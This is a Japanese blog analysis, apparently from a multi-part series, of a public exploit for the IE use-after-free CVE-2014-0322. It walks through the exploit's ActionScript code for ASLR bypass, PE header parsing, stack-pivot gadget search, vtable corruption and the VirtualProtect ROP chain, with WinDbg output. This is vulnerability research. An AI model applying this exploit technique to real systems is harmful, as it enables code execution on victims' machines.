Deep Dive into Exploit of Use-After-Free Vulnerability – 4

これまでの記事で、CVE-2014-0322 の脆弱性、それを利用してメモリの制御が可能になり、ASLR を回避して flash.ocx のベースアドレスと VirtualProtect API のアドレスを入手しました。残っている ActionScript のコードは、getSP とbuildPayload の 2 つだけです。

3. eip/esp の乗っ取りと ROP chain

既に何度も言及していますが、getSP は、flash.ocx のコード領域 (.text セクション) から、0xC394 という WORD のある場所を見つけます。これの意味を理解するためには、そもそも実現しようとしている ROP の全体像を掴む必要があります。その全体像を示したものが、スライドにも含めているこの図です。

rop

0xC394 というのは、アセンブリ言語に換算すると xchg eax,esp; ret という 2 つの命令です。ROP の中でこれを実行したいのです。DEP があるので、実行可能なページ上の 0xC394 を見つける必要があり、既にイメージベースを知っている flash.ocx の実行可能な領域である .text セクションから適当に探し出してくるのが getSP という関数です。ActionScript によると、この C394 のことを Stack Pivot と呼んでいるようです。デバッグしている環境の flash.ocx は v14.0 で、exploit を実行すると RVA=0x3c8cc のところの c394 が使われます。この箇所には、どこからともなくいきなり制御が飛んできて ret ですぐにまたどこかへ行ってしまうので、読み位置が違っていたり、その前後のデータがどうなっていようと影響はありません。

flash.ocx のコード領域に c394 が含まれているのは全くの偶然であって、ひょっとすると別バージョンの flash.ocx には c394 という連続した 2 バイトが全く含まれていない可能性もあります。その場合は、ActionScript 側で他のイメージの実行可能な領域に c394 があるかどうかを探す必要があります。といってもたったの 2 バイトなので、その可能性は著しく低いはずです。

0:028> u 700fc8cc
Flash+0x3c8cc:
700fc8cc 94              xchg    eax,esp
700fc8cd c3              ret
700fc8ce 0f7099c30f709ec3 pshufw  mm3,mmword ptr [ecx-618FF03Dh],0C3h
700fc8d6 0f70cccc        pshufw  mm1,mm4,0CCh
700fc8da cc              int     3
700fc8db cc              int     3

では getSP のコードを見ていきます。まず、timerHandler から呼ばれるときに第三引数としてvtableobj-k が渡されます。これは前回の getFlashBaseAddr 関数のところで触れたように、引き算の結果が flash.ocx のベースアドレスそのものになります。一方の第一引数は、そのベースアドレスにアクセスするための this.s[index] のインデックスです。

/* Find .text */
peindex = this.s[index][baseflashaddr_off+0x3C/4];
sn = this.s[index][baseflashaddr_off+peindex/4+1] >> 16;

上記 2 行のうち、peindex の方は、getK32Index を呼ぶ直前と同様で、ntdll!_IMAGE_DOS_HEADER::e_lfanew、すなわち flash.ocx の PE ヘッダーへのオフセットです。次に、PE ヘッダーから +4 = 1*sizeof(uint) のところにある uint を 16 ビット右シフトしています。つまり、PE ヘッダーから +6 のところにある WORD 値を取ってくるのと同じなので、sn にはntdll!_IMAGE_FILE_HEADER:: NumberOfSections が入ります。

0:028> dt ntdll!_IMAGE_NT_HEADERS FileHeader.NumberOfSections
   +0x004 FileHeader                  :
      +0x002 NumberOfSections            : Uint2B

次の条件式はこうなっています。

this.s[index][baseflashaddr_off+peindex/4+0xF8/4+(sec*0x28)/4] == 0x7865742E
  && this.s[index][baseflashaddr_off+peindex/4+0xF8/4+(sec*0x28)/4+1] == 0x74

PE ヘッダーからオフセット f8 のところを参照しています。ちょうどsizeof(ntdll!_IMAGE_NT_HEADERS) が 0xf8 なので、参照しているのは _IMAGE_OPTIONAL_HEADER の直後です。http://msdn.microsoft.com/en-us/magazine/ms809762.aspx によると、そこにはIMAGE_SECTION_HEADER の配列があると書かれています。配列の定義は SDK の winnt.h から引用すると以下の通りです。

#define IMAGE_SIZEOF_SHORT_NAME              8

typedef struct _IMAGE_SECTION_HEADER {
    BYTE    Name[IMAGE_SIZEOF_SHORT_NAME];
    union {
            DWORD   PhysicalAddress;
            DWORD   VirtualSize;
    } Misc;
    DWORD   VirtualAddress;
    DWORD   SizeOfRawData;
    DWORD   PointerToRawData;
    DWORD   PointerToRelocations;
    DWORD   PointerToLinenumbers;
    WORD    NumberOfRelocations;
    WORD    NumberOfLinenumbers;
    DWORD   Characteristics;
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;

#define IMAGE_SIZEOF_SECTION_HEADER          40

比較に使われているのは IMAGE_SECTION_HEADER の先頭なので、どうやらセクションの名前のようです。そこで右辺を ascii 文字に変換すると・・".text" という文字を探していることが分かります。.text セクションとは、コード領域のことです。

PS D:\MSWORK> [System.Text.Encoding]::ASCII.GetString([System.BitConverter]::GetBytes(0x7865742E))
.tex
PS D:\MSWORK> [System.Text.Encoding]::ASCII.GetString([System.BitConverter]::GetBytes(0x74))
t

_IMAGE_SECTION_HEADER のサイズを数えると 40=0x28 バイトになるので、sec という変数はセクションのインデックスになります。ここまでで flash.ocx のコード領域の情報が得られました。

virtualAddr = this.s[index][baseflashaddr_off+peindex/4+0xF8/4+(sec*0x28)/4+3];
virtualSize = this.s[index][baseflashaddr_off+peindex/4+0xF8/4+(sec*0x28)/4+2];

次の 2 行では、_IMAGE_SECTION_HEADER ヘッダー内のオフセット 3*sizeof(uint)、2*sizeof(uint) の値を取っています。これはそれぞれ変数の名前の通り VirtualAddress と VirtualSizeになりそうです。

次のループでは、いよいよコード領域内の探索に移ります。開始アドレスと領域のサイズが分かっているので、その中で C394 があるかどうかをチェックするだけです。ただし、DWORD 境界にない C394 も探すため、4 通りの読み位置でそれぞれ if 文を実行しています。この関数は戻り値として配列のインデックスではなく、アドレスそのものを返します。

これで C394 が取得できました。C394 を実行すると、最初の命令で eax と esp の値が交換され、そのままリターンします。が、ret のときに何のアドレスに飛ぶのかがとても重要です。x86 での ret は、スタックを pop して eip に入れるという動作を行います。スタックとは、もちろん esp レジスターが指すアドレスです。そして esp の内容は直前の xchg によって変更されています。つまり ret を実行すると、xchg に飛んできたときに eax が指していたアドレスにあるアドレスにジャンプします。

x86 命令の仕様は Intel のマニュアルがとても親切です。

Intel® 64 and IA-32 Architectures Software Developer Manuals
http://www.intel.com/content/www/us/en/processors/architectures-software-developer-manuals.html

ここまでで面白いことをしている感じはありますが、未だ全体像は見えてきません。次のポイントは、ActionScript からどうやって ROP を始めるか、という点です。今回の例では、ActionScript の Sound.toString() メソッドを実行することで ROP が始まります。コードでいうと、timerHandler() 関数の最後にある this.sound.toString(); というのがそれです。なぜそんなことが起こるかといえば、buildPayload() 関数の中で、事前に Sound オブジェクトの vtable を改竄しているためです。

これまでに何度も vtable という単語を使ってきましたが、これは仮想関数の動作を実現するためにコンパイラーが生成するデータ構造の一種です。詳細は以下の wiki を参照して下さい。

Virtual method table – Wikipedia, the free encyclopedia
http://en.wikipedia.org/wiki/Virtual_method_table

では最後に残った関数 buildPayload() を見ます。前半部分が、コメントにもあるように Sound オブジェクトの vtable を書き換えている部分です。

/* Corrupt sound object vtable ptr */
while (1) {
  if (this.s[index][j] == 0x00010c00 && this.s[index][j+0x09] == 0x1234) {
    soundobjref = this.s[index][j+0x0A];
    dec = soundobjref-cvaddr-1;
    this.s[index][dec/4-2] = cvaddr+2*4+4*4;
    break;
  }

  j++;
}

比較式の定数は、ともに見覚えがあります。0x00010c00 はベースアドレスを検索するときに最初に出てきました。0x1234 は、init_heap() で作った Sound オブジェクトの配列の長さです。0x00010c00 の意味が全く分からないのですが、0x00010c00 のある場所から 9*4=0x24 バイト目に配列の長さがある箇所を探しています。これをデバッガーで探します。といっても同時に 0x00010c00 と 0x00001234 は探せないので 1234 から。

0:028> s -d 1a000000 l1000000 0x00001234
0:028> s -d 1e000000 l1000000 0x00001234
0:028> s -d 22000000 l1000000 0x00001234
253b3024  00001234 24c3f021 24c3f021 24c3f021  4…!..$!..$!..$
253b8024  00001234 24c3f021 24c3f021 24c3f021  4…!..$!..$!..$
253bd024  00001234 24c3f021 24c3f021 24c3f021  4…!..$!..$!..$
253c2024  00001234 24c3f021 24c3f021 24c3f021  4…!..$!..$!..$
253c7024  00001234 24c3f021 24c3f021 24c3f021  4…!..$!..$!..$
253cc024  00001234 24c3f021 24c3f021 24c3f021  4…!..$!..$!..$
253d1024  00001234 24c3f021 24c3f021 24c3f021  4…!..$!..$!..$
253d6024  00001234 24c3f021 24c3f021 24c3f021  4…!..$!..$!..$

たくさん見つかりました。そのすべての下位バイトが 24 なので全部当たりのようです。

0:028> dd 253b3000-20
253b2fe0  00000000 00000000 00000000 00000000
253b2ff0  00000000 00000000 00000000 00000000
253b3000  00010c00 00004fe0 07c53000 07c47068
253b3010  24c3f000 253b3018 00000010 00000000
253b3020  70bb557c 00001234 24c3f021 24c3f021
253b3030  24c3f021 24c3f021 24c3f021 24c3f021
253b3040  24c3f021 24c3f021 24c3f021 24c3f021
253b3050  24c3f021 24c3f021 24c3f021 24c3f021
0:028> dd 253b8000-20
253b7fe0  00000000 00000000 00000000 00000000
253b7ff0  00000000 00000000 00000000 00000000
253b8000  00010c00 00004fe0 07c53000 07c47068
253b8010  253b3000 253b8018 00000010 00000000
253b8020  70bb557c 00001234 24c3f021 24c3f021
253b8030  24c3f021 24c3f021 24c3f021 24c3f021
253b8040  24c3f021 24c3f021 24c3f021 24c3f021
253b8050  24c3f021 24c3f021 24c3f021 24c3f021

ActionScript 上のオブジェクトが Windows 上でどうやって見えるか、という点については後で真面目に調べるとして、少なくとも 0x1234 という比較的特徴のある値が構造に含まれていることを根拠として、init_heap() で作成した Sound オブジェクトの配列である可能性が極めて高いと考えられます。さらに、どの構造においても 0x1234 の後に 24c3f021 という同じ値が繰り返し現れており、24c3f021 とは Sound オブジェクトそのものと考えるのが自然です。というわけで、soundobjref には Sound オブジェクトへのポインターとなる値 (上記例では 24c3f021) が入ります。+0x0A のところは B でも C でもよい、ということになります。

soundobjref = this.s[index][j+0x0A];
dec = soundobjref-cvaddr-1;
this.s[index][dec/4-2] = cvaddr+2*4+4*4;

次の 2 つの文でいよいよ vtable を書き換えます。

this.s[index][dec/4-2]
⇔ this.s[index][( soundobjref-cvaddr-1)/4-2]
⇔ this.s[index][( soundobjref-0x1a001000-1)/4-2]
⇔ this.s[index][(soundobjref-1-0x1a001008)/4]

代入文の左辺は上記のように変形できるので、これは soundobjref-1 のアドレスに cvaddr+2*4+4*4 というアドレスを代入する文です。-1 って何だ、となりますが、上記例では Sound オブジェクトへのポインターとなる値が 24c3f021 となっていて、それを調整するためなのだろうとは推測できます。常に -1 しておけば問題ないのかどうか、どういう意味があるのか、については Flash の仕組みがまだ分からないので、深追いはせず保留です。

書き換えている部分は Sound オブジェクトの先頭のアドレスです。書き換わる前の状態を見てみると、確かに vtable です。下記の例だと24c3f020 のアドレスの 70b3438c となっている部分がcvaddr+2*4+4*4 = 1a001018 という値で置き換わります。

0:028> dd 24c3f020
24c3f020  70b3438c 400000ff 07f38f38 07fef298
24c3f030  00000000 00000000 07fb0430 00000000
0:028> dd 70b3438c
70b3438c  705ab130 70595440 701bfe10 705acca0
70b3439c  705ae4e0 70932300 70931c20 70932110
70b343ac  70932b20 70931ff0 70932750 709322b0
70b343bc  70932bf0 709323b0 70932d10 70932040
70b343cc  709327d0 70932630 70932d80 70931f80
70b343dc  70932830 70931e60 70932f30 70931b90
70b343ec  7095b000 709329d0 70932a30 70932a00
70b343fc  70931af0 7015d3d0 709328d0 7015d3d0
0:028> u 705ab130
Flash!DllUnregisterServer+0x147790:
705ab130 55              push    ebp
705ab131 8bec            mov     ebp,esp
705ab133 56              push    esi
705ab134 8bf1            mov     esi,ecx
705ab136 e845fcffff      call    Flash!DllUnregisterServer+0x1473e0 (705aad80)
705ab13b f6450801        test    byte ptr [ebp+8],1
705ab13f 8bc6            mov     eax,esi
705ab141 7414            je      Flash!DllUnregisterServer+0x1477b7 (705ab157)

1a001018 というアドレスは、偽の vtable になる部分で、これを作っているのが次のループです。sp は Stack Pivot のコードがあるアドレスです。this.s[index] は 1a001008 から始まるので、そこから 0x200*size(uint) バイトは、Stack Pivot のアドレスで埋まります。当然、1a001018 として設定された Sound オブジェクトの vtable は、ほぼ全部 Stack Pivot のアドレスで埋まることになります。こうすることで、Sound.toString() に限らず、大抵のメソッドを呼んでも Stack Pivot のコードが呼ばれることになります。

/*  Stack pivot */
for (i=0; i < 0x200; i++)
  this.s[index][i] = sp;

しかし、Stack Pivot として C394 が適切であると判断するためには、やはり Sound.toString() を実行したときにどのような命令が実行されるのかを知っている必要があります。なぜなら、Stack Pivot の効果は、eax レジスタのアドレスにあるアドレスにジャンプするというものだったので、ROP を成功させるためには、vtable 内のアドレスを call するときに eax に入っている値を制御できている必要があるからです。exploit を書く立場から考えると、Sound.toString() を選び、vtable のアドレスを呼ぶ近傍の命令からどのレジスターを制御できるかを考え、最後に Stack Pivot となる命令を選ぶ、という流れになるはずです。

ActionScript のコードを少し編集して、Stack Pivot の部分を C394 ではなく、int 3 を含む CCCC というコードを探索するようにして実行してみました。仮想テーブルからジャンプした後にブレークするので、ごにょごにょとデバッガー コマンドを叩いて情報を集めます。

0:005> r
eax=1a001018 ebx=028eb8e0 ecx=241ff020 edx=07f3df20 esi=70185d60 edi=07fce810
eip=6f8e1fc8 esp=028eb830 ebp=028eb838 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200200
Flash+0x1fc8:
6f8e1fc8 cc              int     3
0:005> k
ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
028eb838 70185d70 Flash+0x1fc8
028eb844 7019dd98 Flash!IAEModule_AEModule_PutKernel+0x2e3690
028eb8a0 7019eb48 Flash!IAEModule_AEModule_PutKernel+0x2fb6b8
028eb950 7019df11 Flash!IAEModule_AEModule_PutKernel+0x2fc468
028eb974 7019e3d7 Flash!IAEModule_AEModule_PutKernel+0x2fb831
028eb9cc 7019ec4c Flash!IAEModule_AEModule_PutKernel+0x2fbcf7
028eb9e8 7019d833 Flash!IAEModule_AEModule_PutKernel+0x2fc56c
028eba34 701c4882 Flash!IAEModule_AEModule_PutKernel+0x2fb153
028eba58 70186a37 Flash!IAEModule_AEModule_PutKernel+0x3221a2
028eba74 7019dd98 Flash!IAEModule_AEModule_PutKernel+0x2e4357
028ebad0 7019df11 Flash!IAEModule_AEModule_PutKernel+0x2fb6b8
028ebaf4 7019e3d7 Flash!IAEModule_AEModule_PutKernel+0x2fb831
028ebb4c 7019ec4c Flash!IAEModule_AEModule_PutKernel+0x2fbcf7
028ebb68 701b08f6 Flash!IAEModule_AEModule_PutKernel+0x2fc56c
028ebb84 701b2df7 Flash!IAEModule_AEModule_PutKernel+0x30e216
028ebc60 7019eb48 Flash!IAEModule_AEModule_PutKernel+0x310717
028ebc64 08383d90 Flash!IAEModule_AEModule_PutKernel+0x2fc468
028ebc68 00000000 0x8383d90
0:005> dd esp
028eb830  70158fc5 07faeec8 028eb844 70185d70
028eb840  241ff021 028eb8a0 7019dd98 07faeec8
028eb850  00000001 028eb8e0 07fce810 07faeec8
028eb860  08340fa0 00000000 00000000 07fce810
028eb870  07faeec8 08046600 028eb8e8 00000000
028eb880  00000000 00000000 00000000 00000000
028eb890  00000000 00000007 00000000 ad5aa7aa
028eb8a0  028eb8c0 7019eb48 07faeec8 00000001
0:005> ub 70158fc5
Flash!IAEModule_AEModule_PutKernel+0x2b68d2:
70158fb2 2407            and     al,7
70158fb4 3c01            cmp     al,1
70158fb6 7512            jne     Flash!IAEModule_AEModule_PutKernel+0x2b68ea (70158fca)
70158fb8 83f904          cmp     ecx,4
70158fbb 720d            jb      Flash!IAEModule_AEModule_PutKernel+0x2b68ea (70158fca)
70158fbd 83e1f8          and     ecx,0FFFFFFF8h
70158fc0 8b01            mov     eax,dword ptr [ecx]
70158fc2 ff5078          call    dword ptr [eax+78h]

0:005> dd ecx l8
241ff020  1a001018 400000ff 0832ef38 08355d60
241ff030  00000000 00000000 083a23b0 00000000
0:005> dd 1a001018
1a001018  768d5994 1a001c08 1a001000 00004000
1a001028  00000040 1a002000 6f8e1fc8 6f8e1fc8
1a001038  6f8e1fc8 6f8e1fc8 6f8e1fc8 6f8e1fc8
1a001048  6f8e1fc8 6f8e1fc8 6f8e1fc8 6f8e1fc8
1a001058  6f8e1fc8 6f8e1fc8 6f8e1fc8 6f8e1fc8
1a001068  6f8e1fc8 6f8e1fc8 6f8e1fc8 6f8e1fc8
1a001078  6f8e1fc8 6f8e1fc8 6f8e1fc8 6f8e1fc8
1a001088  6f8e1fc8 6f8e1fc8 6f8e1fc8 6f8e1fc8
0:005> ln 768d5994
(768d5994)   kernel32!VirtualProtectStub   |  (768d59a5)   kernel32!VirtualProtectExStub
Exact matches:
    kernel32!VirtualProtectStub (<no parameter info>)

この呼び出し部分のコードが今回の ROP の一番のポイントです。シンボルがない部分なので、デバッガーの k コマンドはうまく動きません。しかし、このタイミングで esp レジスターは正しいスタック アドレスを指しているので、esp の先頭が Stack Pivot からの呼び出し元に戻るアドレス、Sound.toString() を ActionScript から実行したときに Win32 プロセスが実際に実行する関数を示しています。これに対して ub コマンドを実行すると、呼び出し元のアセンブリを見ることができます。

call 命令は indirect call で、オペランドは eax+78h が参照するアドレスになっています。つまり eax が vtable で、オフセット +78 のエントリを実行するのだとわかります。もう少し前を見ると、eax は ecx のアドレスから mov されており、ecx はその前で FFFFFFF8 と AND されています。前述のデバッグ結果と照合すると、ecx は Sound オブジェクトへのポインターと考えられます。配列の構造の中に含まれていた値は下位バイトが 1 で、ActionScript では -1 して利用していましたが、ここは FFFFFFF8 と AND する方が正しいことになります。おそらく、下位 3bit は何らかの状態を表すフラグとして使われているのでしょう。

ブレーク時点での eax の値を見ると、確かに1a001018 です。もちろんこれは exploit の buildPayload() がセットした vtable の値が反映された結果です。1a001018 から 200 個の Stack Pivot のアドレスを埋めましたが、実際には 1a001018+78 の 1 つだけをセットしておけば 十分だったと分かります。いずれにしろ、これで eip は乗っ取ることができました。

実際の exploit は、Stack Pivotとして C394 を選び、eax と esp を交換した後、ret が実行されます。call dword ptr [eax+78h] を実行して Stack Pivot のコードに制御が移ってからも、まだ eax レジスターはの値 1a001018 のままです。ここで eax と esp を交換することで、eip に引き続いて esp も乗っ取ることができるのです。実に巧妙です。

特に、toString() によって呼ばれる命令が call dword ptr [eax+78h] であるところがよく考えられています。実際に使われる vtable のエントリーのオフセットは +78 なので、eax と esp を交換した後、esp の先頭から 78 バイトは vtable ではなくスタック領域として自由に使えることになります。もし call するアドレスが [eax] や [eax+10] だったら、できることが限られてしまいます。

さて、buildPayload() のコードで残っているのは、レジスターを交換した後に偽のスタックとなる領域を作成する部分と、ペイロードを埋め込むコードです。

var sh:uint=0x300;
(snip)

/* ROP */
this.s[index][0] = 0x41414141;
this.s[index][1] = 0x41414141;
this.s[index][2] = 0x41414141;
this.s[index][3] = 0x41414141;
this.s[index][4] = virtualprotectaddr;
this.s[index][5] = cvaddr+0xC00+8;
this.s[index][6] = cvaddr;
this.s[index][7] = 0x4000;
this.s[index][8] = 0x40;
this.s[index][9] = 0x1a002000;

/* Shellcode */
for(var u:String in shellcodeObj) {
  this.s[index][sh++] = Number(shellcodeObj[u]);
}

vtable、及び、交換後の esp は 1a001018、すなわち this.s[index][4] から始まります。よって先頭の 4 つは適当な値で埋めておきます。そのあとが、乗っ取られたあとのスタックです。[4] にセットしているのは前回頑張って PE イメージを解析して取得した VirtualProtect API の開始アドレスです。このアドレスが、Stack Pivot の ret 命令の後に実行されます。その後に続くのは、VirtualProtect に渡るパラメーターになります。

VirtualProtect の定義を MSDN で確認すると簡単に分かりますが、ここで指定されているパラメーターは、開始アドレス cvaddr+0xC00+8 から 0x4000 バイトの範囲に対して 0x40 という属性を設定するという意味を持ちます。0x40 はPAGE_EXECUTE_READWRITE という R/W/E 全てが可能な属性で、DEP を完全に無効化できます。開始アドレスの cvaddr+0xC00+8 は this.s[index][0xC00/4] = this.s[index][0x300] の場所を示しており、最後の for 文で埋め込んでいるペイロードの開始アドレスです。[9] の 0x1a002000 は、第4 引数のlpflOldProtect で、元のページ属性が保存されます。exploit には必要のない値ですが、MSDN によると、この値が NULL だったり無効なアドレスだと API が失敗するので、書き込み可能な適当なアドレスとして 0x1a002000 を選んで入れています。

最後は駆け足になった気がしますが、以上が exploit の全ての仕込みです。最後に Sound.toString() を呼ぶと、仕掛けが全部動いて、vtable → Stack Pivot → VirtualProtect → ペイロード、という順に落とし穴にハマっていきます。全貌は、スライドの図を改めてご覧ください。

偶然ですが、トレンドマイクロのブログ記事も見つかりました。この脆弱性、及び exploit は巷では相当有名なようですね。

Analysis of The Recent Zero-Day Vulnerability in IE9/IE10 | Security Intelligence Blog | Trend Micro
http://blog.trendmicro.com/trendlabs-security-intelligence/analysis-of-the-recent-zero-day-vulnerability-in-ie9ie10/

4. 残る疑問/宿題など

現時点でまだ分からないことのまとめ。時間があるときに調べます。むしろ誰か知っている人教えて下さい。

  • ASLR と、イメージのロードされるアドレスの制限について
    (2014-09-25 追記)
    下記 MSDN の ASLR の項目によると、DLL に関してはやはり下流の方の、範囲 16MB のところに制限されているらしい。
    Windows Administration: Inside the Windows Vista Kernel: Part 3
     http://technet.microsoft.com/en-us/magazine/2007.04.vistakernel.aspx?pr=blog
    ベースアドレスをばらつかせるメモリ マネージャー内のロジックはこれ・・・?もしやアセンブリ言語から C に変換したのだろうか。
    Positive Research Center: Windows 8 ASLR Internals
    http://blog.ptsecurity.com/2012/12/windows-8-aslr-internals.html
  • ActionScript のオブジェクトの構造について
    – 0x00010c00 の意味、その 32 バイト後にある vtable の謎
    – 配列の長さの後にある vtable は使えるのか
    – Sound オブジェクト関連の動作をどうやって事前に知るのか
    – Sound オブジェクト以外を使って ROP を開始してみる
  • JavaScript 側での細かい工夫をもう少し詳しく書いてみる
  • これまで使ってきたペイロードである meterpreter のデバッグ
広告

Deep Dive into Exploit of Use-After-Free Vulnerability – 3

前回の記事で、脆弱性を利用してメモリの制御を奪うことまでできました。次にすることは、ROP (Return Oriented Programming) を行うための材料を集めます。ここで集めた材料を使って偽のスタック バッファーを作り、vtable を改竄して eip レジスターを乗っ取れば ROP は成功です。

2. ASLR 回避とインポート テーブル検索

ここで欲しいのは以下の情報です。

  • flash.ocx のベース アドレス
    → インポート テーブルから VirtualProtect API のアドレスを入手。コード領域の 0xC394 という部分を探すのにも使う。
  • VirtualProtect API のアドレス
    → DEP を回避し、Private Data 内に流し込んだペイロードを実行可能とマークするために必要。

上記の数値を取得するためには、ASLR でランダム化された flash.ocx のベースアドレスを探さないといけません。しかし、既にほぼ全てのメモリへアクセスが可能になっているので、既知のパターンに基づいてメモリ内を検索するだけでよく、ASLR 回避はそれほど難しいことではありません。前回指摘したように、配列の長さの次に保存されている vtable の値を使うこともできそうです。ベース アドレスさえ見つけてしまえば、あとは PE イメージの構造に基づいてコード領域やインポート テーブルを解析できるので、欲しい情報が入手できます。

と、言うわけで、今回はひたすら PE イメージの構造を解析します。分かれば単純なロジックですし、使い回せそうなコードですが、これを 1 から書いた人はやはり強者・・。

/*
*  Get flash module base address
*  index: index of vectors table
*  cvaddr: corrupted vector address
*/
public function getFlashBaseAddr(index:uint, cvaddr:uint):Array {
  var baseflashaddr_off:uint = 0;
  var j:int = 0;
  var k:int = 0;
  var kmax:uint = 0;
  var vtableobj:int = 0;
  var ocxinfo:Array = new Array();

  while (1) {
    if (this.s[index][j] == 0x00010c00) {
      vtableobj = this.s[index][j+0x08] & 0xFFFF0000;

      /* Get ocx base address */
      k = 0;
      while (1) {
        if (this.s[index][(vtableobj-cvaddr-k)/4 – 2] == 0x00905A4D) {
          baseflashaddr_off = (vtableobj-cvaddr-k)/4 – 2;
          ocxinfo[0] = baseflashaddr_off;
          ocxinfo[1] = j;
          ocxinfo[2] = k;
          ocxinfo[3] = vtableobj;
          return ocxinfo;
        }

        k = k + 0x1000;
      }
    }

    j = j + 0x1;
  }

  return ocxinfo;
}

flash.ocx のベース アドレスを取得するロジックは getFlashBaseAddr() です。この中で最初にすることは、0x00010c00 という DWORD 値を見つけることです。以下は 1a000000 から検索していますが、実際にアクセス可能なのは 1a001008 からです。

0:028> s -d 1a000000 l1000000 0x00010c00
0:028> s -d 1e000000 l1000000 0x00010c00
0:028> s -d 22000000 l1000000 0x00010c00
2272f000  00010c00 00000fe0 07c53000 07c47068  ………0..hp..
22733000  00010c00 00000fe0 07c53000 07c47068  ………0..hp..
22805000  00010c00 00000fe0 07c53000 07c47068  ………0..hp..
229d6000  00010c00 00000fe0 07c53000 07c47068  ………0..hp..
25393000  00010c00 00001fe0 07c53000 07c47068  ………0..hp..
253b3000  00010c00 00004fe0 07c53000 07c47068  …..O…0..hp..
253b8000  00010c00 00004fe0 07c53000 07c47068  …..O…0..hp..
0:028> dd 2272f000 l10
2272f000  00010c00 00000fe0 07c53000 07c47068
2272f010  08387000 2272f018 00000010 00000000
2272f020  70bc6234 00000080 07d2e400 07d32400
2272f030  00000019 00000050 00000000 00000000
0:028> dd 22733000  l10
22733000  00010c00 00000fe0 07c53000 07c47068
22733010  2272f000 22733018 00000018 00000000
22733020  70bc5dc8 07fb9e50 07e52790 07ca9cf0
22733030  07fb08a0 00000000 00000022 00000000
0:028> dd 70bc6234
70bc6234  709871c0 7097c8b0 00000000 00000000
70bc6244  00000000 00000000 00000000 00000000
0:028> u 709871c0
Flash!IAEModule_AEModule_PutKernel+0x304ae0:
709871c0 55              push    ebp
709871c1 8bec            mov     ebp,esp
709871c3 f6450801        test    byte ptr [ebp+8],1
709871c7 56              push    esi
709871c8 8bf1            mov     esi,ecx
709871ca 8bc6            mov     eax,esi
709871cc c706f066a570    mov     dword ptr [esi],offset Flash!IAEModule_IAEKernel_UnloadModule+0x1ca
50 (70a566f0)
709871d2 7410            je      Flash!IAEModule_AEModule_PutKernel+0x304b04 (709871e4)
0:028> dd 70bc5dc8
70bc5dc8  709871c0 70920ae0 709871c0 70920b30
70bc5dd8  709787d0 70920a10 75746572 74206e72
70bc5de8  73657079 6e6f6420 616d2074 0a686374
70bc5df8  00000000 76202020 20747269 00000000
0:028> u 709871c0
Flash!IAEModule_AEModule_PutKernel+0x304ae0:
709871c0 55              push    ebp
709871c1 8bec            mov     ebp,esp
709871c3 f6450801        test    byte ptr [ebp+8],1
709871c7 56              push    esi
709871c8 8bf1            mov     esi,ecx
709871ca 8bc6            mov     eax,esi
709871cc c706f066a570    mov     dword ptr [esi],offset Flash!IAEModule_IAEKernel_UnloadModule+0x1ca
50 (70a566f0)
709871d2 7410            je      Flash!IAEModule_AEModule_PutKernel+0x304b04 (709871e4)

0x00010c00 の 8*sizeof(uint) バイト後にある DWORD (70bc6234 や70bc5dc8) を利用するわけですが、どれも vtable になっているようです。0x00010c00 とは何で、どうして 32 バイト後に vtable があるのかは不明です。既知の情報として、ActionScript を使った exploit ではいろいろ使えそうですが、そもそもどうやってこの情報を知り得たのかが気になります。

次のステップは、70bc6234 の下位 WORD を 0 クリアして、"this.s[index][(vtableobj-cvaddr-k)/4 – 2] == 0x00905A4D" という条件に満たす k を探します。vtableobj は 70bc0000 で、cvaddr は 1a001000 なので、左辺は this.s[index][(70bc0000-k-1a001008)/4] です。

ここで this.s の使い方を再考します。これは長さが 3fffffff に延長された配列で、そのアドレス位置は 1a001008 でした (長さを示す DWORD が 1a001000 にあり、その 8 バイト後から実データが始まるため)。したがって、this.s[index][x] という要素にアクセスすると、1a001008+x*4 のアドレスにある DWORD 値を参照していることになります。ここで、1a001008+x*4 = y ⇔ x = (y-1a001008)/4 なので、逆にアドレスが y にある DWORD 値を参照したければ、this.s[index][ (y-1a001008)/4] にアクセスすればよいことになります。

this.s[index][x] → 1a001008+x*4 にある DWORD 値
this.s[index][(y-1a001008)/4] → y にある DWORD 値

上記を当てはめると、左辺は 70bc0000-k というアドレスにある DWORD 値を比較しています。次に右辺ですが、これは MS-DOS 実行可能ファイルの先頭にある、いわゆる "MZ" ヘッダーです。

0:028> lm m kernel32
start    end        module name
77ad0000 77c00000   kernel32   (deferred)
0:028> db 77ad0000 l20
77ad0000  4d 5a 90 00 03 00 00 00-04 00 00 00 ff ff 00 00  MZ…………..
77ad0010  b8 00 00 00 00 00 00 00-40 00 00 00 00 00 00 00  ……..@…….
0:028> lm m iexplore
start    end        module name
01210000 012cc000   iexplore   (deferred)
0:028> db 01210000 l20
01210000  4d 5a 90 00 03 00 00 00-04 00 00 00 ff ff 00 00  MZ…………..
01210010  b8 00 00 00 00 00 00 00-40 00 00 00 00 00 00 00  ……..@…….

70bc0000-k のアドレスにある値を比較しつつ、k を 0x1000 ずつ増やしているので、これは vtable を含んでいるページから上の方に向って MZ ヘッダーを探していることが分かります。vtable はイメージ ファイルの中 (.rdata セクションあたり) に含まれているので、vtable のアドレスから上に向って MZ ヘッダーを探していけば、そのイメージのベース アドレスが見つかるというわけです。確率は低いですが、もし、先頭が MZ ヘッダーと同じであるページがベース アドレス以外に存在すると、このロジックは使えません。事前に手元の flash.ocx を使って同様の探索をしておき、ベースアドレスではない 0x00905A4D をスキップする処理を追加する必要があります。

getFlashBaseAddr() はベース アドレスを見つけると、4 つの値を配列に入れて返します。この方法は分かりにくいのでデザイン的にあまり好きじゃない・・・。今回紹介する VirtualProtect の探索だけでなく、後でコード領域を検索するときにも使います。

ocxinfo[0] = baseflashaddr_off; <<<< ベースアドレスにアクセスするための配列のインデックス
ocxinfo[1] = j; <<<< 0x00010c00 があるアドレスにアクセスするための配列のインデックス
ocxinfo[2] = k; <<<< vtableobj-k がflash.ocx のベースアドレスになる
ocxinfo[3] = vtableobj; <<<< vtable が存在する、flash.ocx イメージ内のページの先頭アドレス

いずれにしろ、ASLR でランダム化された flash.ocx の位置をつきとめました。次に、ここで得られた値使って getK32Index() を呼びます。関数名にある K32 とは kernel32.dll のことを示しており、getK32Index は、flash.ocx のインポート テーブルを解析して Kernel32.dll のセクションを探す関数です。さらに getK32Index の次に実行される関数 GetVirtualProtectStubAddr は KERNEL32!VirtualProtectStub のアドレスを取得します。

